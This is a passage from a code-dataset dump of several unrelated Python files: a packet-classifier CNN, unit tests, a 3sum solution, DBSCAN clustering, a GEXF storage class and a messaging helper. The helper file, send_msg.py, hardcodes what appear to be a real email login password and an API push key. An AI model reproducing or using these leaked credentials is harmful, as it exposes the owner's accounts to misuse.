max(self.test_accuracy_list)\n\n for i in range(self.n_classes):\n self.classified_test_precision_list[i].append(np.mean(classified_precision_list[i]))\n self.classified_test_recall_list[i].append(np.mean(classified_recall_list[i]))\n\n print(\"epoch: %d, test_error_value: %f, test_accuracy: %f\" % (epoch, np.mean(error_value_list), np.mean(accuracy_value_list)))\n\n precision = 0.0\n recall = 0.0\n\n for i in range(self.n_classes):\n print(\"\\t{:>14}: {:8.6f}, {:8.6f} \".format(self.classnames[i], self.classified_test_precision_list[i][-1], self.classified_test_recall_list[i][-1]))\n precision += self.classified_test_precision_list[i][-1]\n recall += self.classified_test_recall_list[i][-1]\n print(\"\\t{:>14}: {:8.6f}, {:8.6f} \".format(\"Mean of Values\", precision / self.n_classes, recall / self.n_classes))\n print()\n\n\n def drawErrorValues(self):\n fig = plt.figure(figsize=(20, 8))\n \n plt.subplot(221)\n plt.plot(self.epoch_list[1:], self.train_error_value_list[1:], 'r', label='Train')\n plt.plot(self.epoch_list[1:], self.validation_error_value_list[1:], 'g', label='Validation')\n plt.ylabel('Total Error')\n plt.xlabel('Epochs')\n plt.grid(True)\n plt.legend(loc='upper right')\n\n plt.subplot(222)\n plt.plot(self.epoch_list[1:], self.test_accuracy_list[1:], 'b', label='Test')\n plt.ylabel('Accuracy')\n plt.xlabel('Epochs')\n plt.yticks(np.arange(0.2, 1.0, 0.1))\n plt.grid(True)\n plt.legend(loc='lower right')\n \n plt.subplot(223)\n \n plt.ylabel('PR & RC')\n plt.xlabel('Classes')\n X = np.arange(self.n_classes)\n best_pr = [pr[self.best_epoch] for pr in self.classified_test_precision_list.values()]\n best_rc = [rc[self.best_epoch] for rc in self.classified_test_recall_list.values()]\n plt.bar(X + 0.00, best_pr, color='b', label = 'PR', width = 0.25)\n plt.bar(X + 0.25, best_rc, color='g', label = 'RC', width = 0.25)\n plt.grid(True)\n plt.legend(loc='upper right')\n \n plt.show()\n \n ########## pickle DumpList ###################\n #self.epoch_list #\n #self.train_error_value_list #\n #self.validation_error_value_list #\n #self.test_error_value_list #\n #self.test_accuracy_list #\n #self.classified_test_precision_list(dict) #\n #self.classified_test_recall_list(dict) #\n #self.best_accuracy #\n #self.best_epoch #\n ##############################################\n def pickleDump(self, *input_list):\n with open(\"/home/link/hdd4/network_deep_learning_data/pickle_for_graph_huge_2d/\"+str(2**int(sys.argv[3]))+'bit_'+\\\n sys.argv[2]+'_'+sys.argv[4]+'_'+sys.argv[5]+'_'+sys.argv[6]+'.pickle', 'wb') as handle:\n for name in input_list:\n pickle.dump(name, handle)\n print(\"Pickle_Dumps are complicated\")\n \n def saveModel(self, session, path):\n src_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES)\n tf.train.Saver(src_vars).save(session, path)\n print(\"Model saved successfully\")\n \nif __name__ == \"__main__\":\n tar_dir = \"/home/link/hdd4/network_deep_learning_data/\"\n start_line = int(sys.argv[1])\n data_size_limit = int(sys.argv[2])\n num_bit = int(sys.argv[3])\n num_train_data = int(sys.argv[4])\n num_validation_data = int(sys.argv[5])\n num_test_data = int(sys.argv[6])\n \n data = PacketData(tar_dir, start_line, data_size_limit, num_bit, num_train_data, num_validation_data, num_test_data)\n data.read_data_sets()\n \n \n cnn = CNN()\n cnn.setData(n_input = data_size_limit,\n n_classes = 16,\n n_train_data = num_train_data,\n n_validation_data = num_validation_data,\n n_test_data = num_test_data,\n data = data,\n class_names= ('web', 'ssh', 'vboxheadless', 'microsoft remote desktop', 'dropbox', 'bittorrent', 'git', 'backup and sync', 'teamviewer', 'send anywhere', 'system idle process', 'skype', 'python', 'mail', 'slack', 'etc'))\n #class_names = ('web', 'ssh', 'microsoft remote desktop', 'bittorrent', 'git', 'backup and sync', 'teamviewer', 'send anywhere', 'system idle process', 'skype', 'steam.exe', 'python', 'mail', 'slack', 'etc'))\n \n cnn.makeModel()\n cnn.makeErrorAndOptimizer(learning_rate = 0.0001)\n cnn.learning(batch_size = 50, training_epochs = 10)\n \n\n\n","sub_path":"4.Jubong/network_packet_dataset/datasets/CNN_per_packet_2d_resnet.py","file_name":"CNN_per_packet_2d_resnet.py","file_ext":"py","file_size_in_byte":18094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"33675650","text":"from mock import Mock, call\nfrom pywizard.context import Context, Environment\n\ndef test_register_resource_empty():\n context = Context()\n resource = Mock()\n resource.get_resource_keys.return_value = None\n\n # should just ignore\n context.register_resource(resource)\n\n\ndef test_register_resource_two_resources():\n context = Context()\n resource = Mock()\n resource.get_resource_keys.return_value = [890, 981]\n\n context.resources = {123: \"hoho\", 567: \"bebe\"} # in real, \"hoho\" and \"bebe\" will be resource instances\n context.current_resource_set = Mock()\n\n context.register_resource(resource)\n\n assert context.current_resource_set.mock_calls == [call.add_item(resource), call.add_item(resource)]\n\n\ndef test_register_resource_conflicts():\n context = Context()\n resource = Mock()\n resource2 = Mock()\n resource.get_resource_keys.return_value = [123]\n\n context.resources = {123: resource2} # in real, \"hoho\" and \"bebe\" will be resource instances\n context.current_resource_set = Mock()\n\n context.register_resource(resource)\n\n assert resource2.mock_calls == [call.resolve_conflict(resource)]\n assert context.current_resource_set.mock_calls == [call.add_item(resource2)]\n\n\ndef test_resource_set_begin_end():\n context = Context()\n assert len(context.resource_set_stack) == 0\n assert context.current_resource_set is None\n assert len(context.resource_set_list) == 0\n\n resource_set = Mock()\n resource_set.name = 'foo'\n context.resource_set_begin(resource_set)\n\n assert len(context.resource_set_stack) == 2\n assert len(context.resource_set_list) == 2\n assert context.current_resource_set == resource_set\n\n context.resource_set_end()\n\n assert len(context.resource_set_stack) == 1\n assert len(context.resource_set_list) == 2\n assert context.current_resource_set == context.root_resource_set\n\n","sub_path":"test/test_context.py","file_name":"test_context.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"610120619","text":"\"\"\"\nGiven an array nums of n integers, are there elements a, b, c in nums such\nthat a + b + c = 0? Find all unique triplets in the array which gives the sum\nof zero.\n\nNote:\n\nThe solution set must not contain duplicate triplets.\n\nExample:\n\nGiven array nums = [-1, 0, 1, 2, -1, -4],\n\nA solution set is:\n[\n [-1, 0, 1],\n [-1, -1, 2]\n]\n\n\"\"\"\n\n\ndef three_sum(numbers, k):\n\n # First, we sort the list\n numbers.sort()\n solution_set = list()\n\n for i in range(len(numbers)-2):\n\n partial_k = k - numbers[i]\n s = i+1\n e = len(numbers)-1\n\n while s < e:\n partial_sum = numbers[s] + numbers[e]\n if partial_sum == partial_k:\n solution_set.append([numbers[i], numbers[s], numbers[e]])\n break\n # If the sum is greater than our target, we reduce the higher number\n elif partial_sum > partial_k:\n e -= 1\n else:\n s += 1\n return solution_set\n\n\ndef main():\n print(three_sum([-1, 0, 1, 2, -1, -4], 0))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"fb_06_3sum.py","file_name":"fb_06_3sum.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"505120402","text":"from DBConnector import DBConnector\n\ndb = DBConnector()\n# db.selectReader(\"192.168.0.69\")\n#measure = db.getDistinctMeasurementIDs()\n# g = db.getTagsGroupedByAnt(measure)\n\n# with open(\"outfile\", 'wb') as f:\n # pickle.dump(g, f)\n\n# db.test()\ndb.selectReader(\"temp_1_1_0\")\na = list(db.find({}))\nfeature_matrix = []\nfor tag in a:\n feature = {}\n for measure in tag[\"obs_by\"][:1000]:\n #feature.update({measure[\"measurement_uuid\"]:measure[\"RSSI\"]})\n feature.update({measure[\"measurement_uuid\"]:1})\n feature_matrix.append(feature)\n\nfrom sklearn.feature_extraction import DictVectorizer\nv = DictVectorizer(sparse=True)\nx = v.fit_transform(feature_matrix)\n#x = x.transpose()\n# import sklearn\n# from sklearn.metrics.pairwise import pairwise_distances\n# dist_matrix = sklearn.metrics.pairwise.pairwise_distances(x)\n# dist_matrix = pairwise_distances(x, metric='manhattan')\n# print(dist_matrix)\nfrom sklearn.cluster import DBSCAN\ndbscan = DBSCAN(eps=30, min_samples=2, metric='manhattan').fit(x)\n# core_samples_mask = np.zeros_like(dbscan.labels_, dtype=bool)\n# core_samples_mask[dbscan.core_sample_indices_] = True\n\nlabels = dbscan.labels_\n\nresult = []\nprint(len(labels))\nfor i in range(len(labels)):\n result.append([a[i][\"_id\"], labels[i]])\n\nprint(result)\n\n","sub_path":"task_a1.py","file_name":"task_a1.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"405582119","text":"import requests\nimport yagmail\nimport os\n\nclass SendMsg(object):\n\n def __init__(self):\n\n self.header = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36'}\n\n self.sever_chan_url = 'https://sc.ftqq.com/SCU53140Tb9f5e03ced7cc1fdef72f77aa6289d875cfd28e3cbd9a.send'\n\n self.sm_url = 'https://sm.ms/api/upload'\n def to_email(self,subject,content):\n '''\n subject : 邮件主题\\n\n content :发送内容\n '''\n\n yag=yagmail.SMTP(user='tzk872579163@live.com',password='LZS...1230',port=587,host='smtp.office365.com',smtp_ssl=False)\n yag.send(to='tzk872579163@live.com',subject=subject,contents=content)\n\n def server_chan(self,title,content):\n\n '''推送简单消息到微信\\n \n title,content\n '''\n\n data = {\n 'text':title,'desp' : content\n }\n\n response = requests.post(self.sever_chan_url,data)\n print(response.text)\n\n\n def _sm(self,path):\n\n\n if os.path.isfile(path):\n with open (path,'rb') as f :\n img = f.read()\n else :\n return(path)\n\n file = {'smfile':img,'ssl':False}\n response = requests.post(self.sm_url,files = file ,headers = self.header)\n response=response.json()\n if response['code'] == 'success' :\n return (response['data']['url'])\n else:\n print('上传失败')\n return (path)\n\n def server_img(self,title,path):\n\n '''向微信推送图片\\n\n path'''\n\n img_url = self._sm(path)\n img = '![img]({})'.format(img_url)\n\n self.server_chan(title,img)\n\n","sub_path":"try/send_msg.py","file_name":"send_msg.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"54190824","text":"from unittest import mock\n\nimport pandas as pd\nimport pytest\n\nfrom great_expectations.core import (\n ExpectationConfiguration,\n ExpectationSuite,\n ExpectationValidationResult,\n)\nfrom great_expectations.core.batch import RuntimeBatchRequest\nfrom great_expectations.data_context.cloud_constants import GXCloudRESTResource\nfrom great_expectations.data_context.types.refs import GXCloudResourceRef\nfrom great_expectations.render import RenderedAtomicContent\nfrom great_expectations.validator.validator import Validator\n\n\n@pytest.mark.cloud\n@pytest.mark.integration\n@pytest.mark.parametrize(\n \"data_context_fixture_name\",\n [\n # In order to leverage existing fixtures in parametrization, we provide\n # their string names and dynamically retrieve them using pytest's built-in\n # `request` fixture.\n # Source: https://stackoverflow.com/a/64348247\n pytest.param(\n \"empty_base_data_context_in_cloud_mode\",\n id=\"BaseDataContext\",\n ),\n pytest.param(\"empty_data_context_in_cloud_mode\", id=\"DataContext\"),\n pytest.param(\"empty_cloud_data_context\", id=\"CloudDataContext\"),\n ],\n)\ndef test_cloud_backed_data_context_save_expectation_suite_include_rendered_content(\n data_context_fixture_name: str,\n request,\n) -> None:\n \"\"\"\n All Cloud-backed contexts (DataContext, BaseDataContext, and CloudDataContext) should save an ExpectationSuite\n with rendered_content by default.\n \"\"\"\n context = request.getfixturevalue(data_context_fixture_name)\n\n ge_cloud_id = \"d581305a-cdce-483b-84ba-5c673d2ce009\"\n cloud_ref = GXCloudResourceRef(\n resource_type=GXCloudRESTResource.EXPECTATION_SUITE,\n ge_cloud_id=ge_cloud_id,\n url=\"foo/bar/baz\",\n )\n\n with mock.patch(\n \"great_expectations.data_context.store.gx_cloud_store_backend.GXCloudStoreBackend.list_keys\"\n ), mock.patch(\n \"great_expectations.data_context.store.gx_cloud_store_backend.GXCloudStoreBackend._set\",\n return_value=cloud_ref,\n ):\n expectation_suite: ExpectationSuite = context.create_expectation_suite(\n \"test_suite\"\n )\n expectation_suite.expectations.append(\n ExpectationConfiguration(\n expectation_type=\"expect_table_row_count_to_equal\", kwargs={\"value\": 10}\n )\n )\n assert expectation_suite.expectations[0].rendered_content is None\n\n with mock.patch(\n \"great_expectations.data_context.store.gx_cloud_store_backend.GXCloudStoreBackend.list_keys\"\n ), mock.patch(\n \"great_expectations.data_context.store.gx_cloud_store_backend.GXCloudStoreBackend._update\"\n ) as mock_update:\n context.save_expectation_suite(\n expectation_suite,\n )\n\n # remove dynamic great_expectations version\n mock_update.call_args[1][\"value\"].pop(\"meta\")\n\n mock_update.assert_called_with(\n ge_cloud_id=ge_cloud_id,\n value={\n \"expectations\": [\n {\n \"meta\": {},\n \"kwargs\": {\"value\": 10},\n \"expectation_type\": \"expect_table_row_count_to_equal\",\n \"rendered_content\": [\n {\n \"value\": {\n \"schema\": {\n \"type\": \"com.superconductive.rendered.string\"\n },\n \"params\": {\n \"value\": {\n \"schema\": {\"type\": \"number\"},\n \"value\": 10,\n }\n },\n \"template\": \"Must have exactly $value rows.\",\n \"header\": None,\n },\n \"name\": \"atomic.prescriptive.summary\",\n \"value_type\": \"StringValueType\",\n }\n ],\n }\n ],\n \"ge_cloud_id\": ge_cloud_id,\n \"data_asset_type\": None,\n \"expectation_suite_name\": \"test_suite\",\n },\n )\n\n\n# TODO: ACB - Enable this test after merging fixes in PRs 5778 and 5763\n@pytest.mark.cloud\n@pytest.mark.integration\n@pytest.mark.xfail(strict=True, reason=\"Remove xfail on merge of PRs 5778 and 5763\")\n@pytest.mark.parametrize(\n \"data_context_fixture_name\",\n [\n # In order to leverage existing fixtures in parametrization, we provide\n # their string names and dynamically retrieve them using pytest's built-in\n # `request` fixture.\n # Source: https://stackoverflow.com/a/64348247\n pytest.param(\n \"cloud_base_data_context_in_cloud_mode_with_datasource_pandas_engine\",\n id=\"BaseDataContext\",\n ),\n pytest.param(\n \"cloud_data_context_in_cloud_mode_with_datasource_pandas_engine\",\n id=\"DataContext\",\n ),\n pytest.param(\n \"cloud_data_context_with_datasource_pandas_engine\",\n id=\"CloudDataContext\",\n ),\n ],\n)\ndef test_cloud_backed_data_context_expectation_validation_result_include_rendered_content(\n data_context_fixture_name: str,\n request,\n) -> None:\n \"\"\"\n All Cloud-backed contexts (DataContext, BaseDataContext, and CloudDataContext) should save an ExpectationValidationResult\n with rendered_content by default.\n \"\"\"\n context = request.getfixturevalue(data_context_fixture_name)\n\n df = pd.DataFrame([1, 2, 3, 4, 5])\n\n batch_request = RuntimeBatchRequest(\n datasource_name=\"my_datasource\",\n data_connector_name=\"default_runtime_data_connector_name\",\n data_asset_name=\"my_data_asset\",\n runtime_parameters={\"batch_data\": df},\n batch_identifiers={\"default_identifier_name\": \"my_id\"},\n )\n\n with mock.patch(\n \"great_expectations.data_context.store.gx_cloud_store_backend.GXCloudStoreBackend.list_keys\"\n ), mock.patch(\n \"great_expectations.data_context.store.gx_cloud_store_backend.GXCloudStoreBackend._set\"\n ):\n validator: Validator = context.get_validator(\n batch_request=batch_request,\n create_expectation_suite_with_name=\"test_suite\",\n )\n\n expectation_validation_result: ExpectationValidationResult = (\n validator.expect_table_row_count_to_equal(value=10)\n )\n\n for result in expectation_validation_result.results:\n for rendered_content in result.rendered_content:\n assert isinstance(rendered_content, RenderedAtomicContent)\n\n for expectation_configuration in expectation_validation_result.expectation_config:\n for rendered_content in expectation_configuration.rendered_content:\n assert isinstance(rendered_content, RenderedAtomicContent)\n","sub_path":"tests/data_context/cloud_data_context/test_include_rendered_content.py","file_name":"test_include_rendered_content.py","file_ext":"py","file_size_in_byte":7010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"147935845","text":"'''Q. 9.Write a function filter_long_words() that takes a list of words and an\ninteger n and returns the list of words that are longer than n'''\nfrom sys import path\n\n\ndef find_longest_word(lst, length):\n return list(filter(lambda x: len(x) > length, lst))\n\n\ndef main():\n path.insert(1, r\"/home/rahulrajan/Documents/dev/scripts/\"\n r\"cdacAssignments/Assignment9\")\n from question2 import input_positive_integer\n\n length = input_positive_integer(\"Enter the limiting lenght of word : \")\n input_lst = input(\"Please enter a string (comma-separated) : \").\\\n strip().split(\",\")\n print(\"Words longer than length \"\n \"'{0}' are {1}\".format(length, find_longest_word(input_lst, length)))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Python/Assignment11/question11_10.py","file_name":"question11_10.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"409073099","text":"import xml.etree.ElementTree as ET\nfrom Storage import Counter\n\nclass GEXF_Storage(object):\n\n #defining the data structure for a GEXF file which is just a specially formatted xml file (https://gephi.org/gexf/format/)\n #this will serve as data storage and as an export format for visualization using gexf OR sigma.js\n def __init__(self):\n\n self.count = Counter.Counter()\n self.edge_count = Counter.Counter()\n #These dictionaries will be used to ensure we have consistent, numerical IDs for nodes accross all USc titles.\n self.gexf_Dict = {} # Allows us to take an arbitrary ID and lookup up gexf node...\n self.reverse_gexf_Dict = {}\n self.adr_Dict = {} # Allows us to take an arbitrary ID and lookup the string \"addr\" as that's that actual unique ID in the USC\n self.reverse_adr_Dict = {}\n\n #storage for edge to/from addr pairs until we later traverse the nodes to add the edges\n self.edge_Storage = {}\n\n self.gexf = ET.Element(\"gexf\")\n self.gexf.attrib['version'] = \"1.2\"\n self.gexf_tree = ET.ElementTree(self.gexf)\n\n meta = ET.SubElement(self.gexf, \"meta\")\n meta.attrib['lastmodifieddate'] = \"2017-06-01\"\n ET.SubElement(meta, \"creator\").text = \"J Scrudato - USC Parser v1\"\n ET.SubElement(meta, \"description\").text = \"Network Graph of United States Code\"\n\n self.graph = ET.SubElement(self.gexf, \"graph\")\n self.graph.attrib['mode'] = 'static'\n self.graph.attrib['defaultedgetype'] = \"directed\"\n\n attributes = ET.SubElement(self.graph,\"attributes\")\n attributes.attrib['class']='node'\n\n type = ET.SubElement(attributes,'attribute')\n type.attrib['id']='0'\n type.attrib['title']='type'\n type.attrib['type'] = 'string'\n\n self.nodes = ET.SubElement(self.graph, \"nodes\")\n self.edges = ET.SubElement(self.graph, \"edges\")\n\n # This will output the gexf tree as xml file to path\n def write_File(self, path = \"/home/descartes/workspace/USC_Visualizer/USC_GEXF_Data/usc.xml\"):\n with open(path, 'w', encoding='utf-8') as file:\n self.gexf_tree.write(file, encoding='unicode')\n\n def add_Node(self, Node):\n if (Node.absolute_address in self.adr_Dict):\n print (\"Node already exists\")\n else:\n\n #increment class ID counter\n self.count.advance_Count()\n print(\"Counter value is\")\n print(self.count.get_Count())\n\n #create a new xml tree node as child of nodes\n new_node = ET.SubElement(self.nodes,\"node\")\n #TODO what about text? and headers?\n new_node.attrib['id'] = str(self.count.get_Count())\n new_node.attrib['value'] = str(Node.value)\n new_node.attrib['label'] = str(Node.absolute_address)\n new_node.attrib['type'] = str(Node.type)\n new_node.attrib['heading'] = str(Node.heading)\n new_node.attrib['absolute_address']= str(Node.absolute_address)\n\n attvalues = ET.SubElement(new_node,'attvalues')\n attvalue = ET.SubElement(attvalues,'attvalue')\n attvalue.attrib['for']='0'\n attvalue.attrib['value']=str(Node.type)\n\n #populate the lookup dictionaries... this really should be a DB... do that later.\n self.gexf_Dict[self.count.get_Count()] = new_node\n self.reverse_gexf_Dict[new_node] = self.count.get_Count()\n self.adr_Dict[self.count.get_Count()] = Node.absolute_address\n self.reverse_adr_Dict[Node.absolute_address] = self.count.get_Count()\n\n #TODO... the edges should be added at the end... to ensure that all of the nodes in our network have been added first...\n #TODO not dictionary for edges... should there be?\n def process_Edge(self, to_addr, from_addr):\n\n if (from_addr in self.reverse_adr_Dict) or (to_addr in self.reverse_adr_Dict) :\n\n #if the source node does not exist... assume it wasn't in xml tree so create a dummy external reference to element in another tree\n if not (to_addr in self.reverse_adr_Dict):\n print(\"Source node exists... target node does not... assuming external and adding external reference node.\")\n self.add_External_Node(to_addr)\n\n # if the source node does not exist... assume it wasn't in xml tree so create a dummy external reference to element in another tree\n if not (from_addr in self.reverse_adr_Dict):\n print(\n \"Source node exists... target node does not... assuming external and adding external reference node.\")\n self.add_External_Node(from_addr)\n\n self.edge_count.advance_Count()\n print(\"Edge Counter value is\")\n print(self.edge_count.get_Count())\n\n # create a new xml tree node as child of nodes\n new_edge = ET.SubElement(self.edges, \"edge\")\n # TODO what about text? and headers?\n new_edge.attrib['id'] = str(self.edge_count.get_Count())\n #need to lookup the ***ID*** of the adr as that's how gexf works... everything referenced by IDs\n new_edge.attrib['source'] = str(self.reverse_adr_Dict[to_addr])\n new_edge.attrib['target'] = str(self.reverse_adr_Dict[from_addr])\n\n else:\n print(\"What's going on here? No nodes in this edge are in the data store\")\n print(\"Edge from \"+from_addr+\"to \"+to_addr+\" not logged\")\n\n #Because we have to traverse the tree and create all of the nodes first... then create the edge references between them... we will collect edge references\n #as key pairs first. Then, once the nodes are setup, we'll create the edge references.\n def add_Edge(self, to_addr, from_addr):\n self.edge_Storage[to_addr] = from_addr\n\n #this method will run through the edge_Storage dictionary and create all of the edge xml entries... each time it's run it will empty out the edge\n #dictionary and recreate the xml edge elements using whatever is in the edge storage. If edge_storage is empty it will result in empty edge xml elements.\n def traverse_Edges(self):\n\n #TODO erase existing edges... at the moment not important as this only runs once so it's always empty\n for to_addr in self.edge_Storage:\n self.process_Edge(to_addr,self.edge_Storage[to_addr])\n\n self.edge_Storage = {}\n\n #Where we have a reference to an address that was not in the source xml tree... we just create a dummy node using the\n #str address of that node.\n def add_External_Node(self, addr):\n # increment class ID counter\n self.count.advance_Count()\n print(\"Counter value is\")\n print(self.count.get_Count())\n\n # create a new xml tree node as child of nodes\n new_node = ET.SubElement(self.nodes, \"node\")\n # TODO what about text? and headers?\n new_node.attrib['id'] = str(self.count.get_Count())\n new_node.attrib['value'] = str(\"REFERENCE to \"+str(addr))\n new_node.attrib['label'] = str(addr)\n new_node.attrib['type'] = str(\"REFERENCE\")\n new_node.attrib['heading'] = str(\"Referenced Section\")\n new_node.attrib['absolute_address'] = str(addr)\n\n attvalues = ET.SubElement(new_node, 'attvalues')\n attvalue = ET.SubElement(attvalues, 'attvalue')\n attvalue.attrib['for'] = '0'\n attvalue.attrib['value'] = str(\"External\")\n\n # populate the lookup dictionaries... this really should be a DB... do that later.\n self.gexf_Dict[self.count.get_Count()] = new_node\n self.reverse_gexf_Dict[new_node] = self.count.get_Count()\n self.adr_Dict[self.count.get_Count()] = new_node.attrib['absolute_address']\n self.reverse_adr_Dict[new_node.attrib['absolute_address']] = self.count.get_Count()","sub_path":"Storage/GEXF_Storage.py","file_name":"GEXF_Storage.py","file_ext":"py","file_size_in_byte":7864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"132735235","text":"# coding=utf-8\nfrom collections import OrderedDict\nimport re\n\nimport execute\n\n\n\"\"\"\nX = (0|1|#)*\nY = (0|1|#)*\nX jest podciągiem Y\nL: X#Y\n\nTem sam język można opisać prościej:\n\nX = (0|1)*\nY = (0|1|#)*\nX jest podciągiem Y\nL: X#Y\n\"\"\"\n\n\"\"\"\nKażde 0 i 1 po pierwszym haszu będzie sprawdzane czy jest początkiem szukanego ciągu.\n\"\"\"\n\n\"\"\"\nprzetworzone 0 oznaczam jako @\nprzetworzone 1 oznaczam jako !\n\nprzejdź do pierwszego nieprzetworzonego znaku (start)\n jeśli znak ten to hasz - zaakceptuj\n zapamiętaj ten znak i oznacz go jako przetworzony\n dojdź do pierwszego (h)asza\n dojdz do ostatniego (h)asza w ciągu haszów\n dojdź do pierwszego znaku będącego 0 (l)ub 1\n jeśli znak ten to blank - przejdź w stan odrzucający\n jeśli znak to nie ten co zapamiętany\n (w)róć, usuwając oznaczenia jako przetworzone\n ostatni znak przed haszem zamień w hasza\n wróć na początek usuwając oznaczenia jako przetworzone\n jeśli znak pasuje do zapamiętanego\n oznacz go jako przetworzony\n (p)rzejdź na początek ciągu\n\"\"\"\nsubsequence = OrderedDict()\n\n# [(znak, stan)] = (nowy_znak, nowy_stan, kierunek_przejścia)\nsubsequence[(\"@\", \"start\")] = (\"@\", \"start\", \">\")\nsubsequence[(\"!\", \"start\")] = (\"!\", \"start\", \">\")\nsubsequence[(\"#\", \"start\")] = (\"#\", \"yes\", \"\")\nsubsequence[(\"0\", \"start\")] = (\"@\", \"h0.a\", \">\")\nsubsequence[(\"1\", \"start\")] = (\"!\", \"h1.a\", \">\")\nsubsequence[(\"0\", \"h1.a\")] = (\"0\", \"h1.a\", \">\")\nsubsequence[(\"1\", \"h1.a\")] = (\"1\", \"h1.a\", \">\")\nsubsequence[(\"#\", \"h1.a\")] = (\"#\", \"h1.b\", \">\")\nsubsequence[(\"#\", \"h1.b\")] = (\"#\", \"h1.b\", \">\")\nsubsequence[(\"0\", \"h1.b\")] = (\"0\", \"l1\", \"\")\nsubsequence[(\"1\", \"h1.b\")] = (\"1\", \"l1\", \"\")\nsubsequence[(\"#\", \"h1.b\")] = (\"#\", \"h1.b\", \">\")\nsubsequence[(\"@\", \"h1.b\")] = (\"@\", \"l1\", \"\")\nsubsequence[(\"!\", \"h1.b\")] = (\"!\", \"l1\", \"\")\nsubsequence[(\"@\", \"l1\")] = (\"@\", \"l1\", \">\")\nsubsequence[(\"!\", \"l1\")] = (\"!\", \"l1\", \">\")\nsubsequence[(\"0\", \"l1\")] = (\"0\", \"w.a\", \"<\")\nsubsequence[(\"1\", \"l1\")] = (\"!\", \"p\", \"<\")\nsubsequence[(\"#\", \"l1\")] = (\"#\", \"w.a\", \"<\")\nsubsequence[(\"0\", \"h0.a\")] = (\"0\", \"h0.a\", \">\")\nsubsequence[(\"1\", \"h0.a\")] = (\"1\", \"h0.a\", \">\")\nsubsequence[(\"#\", \"h0.a\")] = (\"#\", \"h0.b\", \">\")\nsubsequence[(\"#\", \"h0.b\")] = (\"#\", \"h0.b\", \">\")\nsubsequence[(\"0\", \"h0.b\")] = (\"0\", \"l0\", \"\")\nsubsequence[(\"1\", \"h0.b\")] = (\"1\", \"l0\", \"\")\nsubsequence[(\"#\", \"h0.b\")] = (\"#\", \"h0.b\", \">\")\nsubsequence[(\"@\", \"h0.b\")] = (\"@\", \"l0\", \"\")\nsubsequence[(\"!\", \"h0.b\")] = (\"!\", \"l0\", \"\")\nsubsequence[(\"@\", \"l0\")] = (\"@\", \"l0\", \">\")\nsubsequence[(\"!\", \"l0\")] = (\"!\", \"l0\", \">\")\nsubsequence[(\"0\", \"l0\")] = (\"@\", \"p\", \"<\")\nsubsequence[(\"1\", \"l0\")] = (\"1\", \"w.a\", \"<\")\nsubsequence[(\"#\", \"l0\")] = (\"#\", \"w.a\", \"<\")\nsubsequence[(\"@\", \"p\")] = (\"@\", \"p\", \"<\")\nsubsequence[(\"!\", \"p\")] = (\"!\", \"p\", \"<\")\nsubsequence[(\"#\", \"p\")] = (\"#\", \"p\", \"<\")\nsubsequence[(\"0\", \"p\")] = (\"0\", \"p\", \"<\")\nsubsequence[(\"1\", \"p\")] = (\"1\", \"p\", \"<\")\nsubsequence[(\" \", \"p\")] = (\" \", \"start\", \">\")\nsubsequence[(\"@\", \"w.a\")] = (\"0\", \"w.a\", \"<\")\nsubsequence[(\"!\", \"w.a\")] = (\"1\", \"w.a\", \"<\")\nsubsequence[(\"#\", \"w.a\")] = (\"#\", \"w.b\", \">\")\nsubsequence[(\"0\", \"w.b\")] = (\"#\", \"w.c\", \"<\")\nsubsequence[(\"1\", \"w.b\")] = (\"#\", \"w.c\", \"<\")\nsubsequence[(\"#\", \"w.c\")] = (\"#\", \"w.c\", \"<\")\nsubsequence[(\"0\", \"w.c\")] = (\"0\", \"w.c\", \"<\")\nsubsequence[(\"1\", \"w.c\")] = (\"1\", \"w.c\", \"<\")\nsubsequence[(\"@\", \"w.c\")] = (\"0\", \"w.c\", \"<\")\nsubsequence[(\"!\", \"w.c\")] = (\"1\", \"w.c\", \"<\")\nsubsequence[(\" \", \"w.c\")] = (\" \", \"start\", \">\")\n\n# execute.execute(subsequence, \"1#01\")\n#execute.execute(subsequence, \"##\")\n#execute.execute(subsequence, \"10#01\")\n\ndef checker(tape):\n m = re.search('^ *(?P[01]*)#[01#]*(?P=x)[01#]* *$', tape)\n if m is None:\n return False\n else:\n return True\n\n\n# sprawdz czy MT da tą samą odpowiedź co checker na taśmach o długości do 10 znaków\nexecute.verify(subsequence, checker, 10, \"01#\")","sub_path":"2013.py","file_name":"2013.py","file_ext":"py","file_size_in_byte":3877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"466983737","text":"from rest_framework import serializers\n\nfrom todo.models import TodoList\n\n\nclass TodoListSerializer(serializers.ModelSerializer):\n class Meta:\n model = TodoList\n fields = ('id', 'title', 'done', 'author_ip', 'created_date', 'done_date')\n extra_kwargs = {\n 'author_ip': {'read_only': True},\n 'created_date': {'read_only': True}\n\n }\n\n def validate(self, attrs):\n \"\"\"Function to validate done and done_date\"\"\"\n\n try:\n if attrs['done'] is False and attrs['done_date'] is not None:\n raise serializers.ValidationError()\n return attrs\n\n except KeyError:\n return attrs\n","sub_path":"Zadanie1/Zadanie1_cbv/Todo_list/todo/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"14921452","text":"# -*- coding: utf-8 -*-\n\"\"\"\n给定一个字符串 s 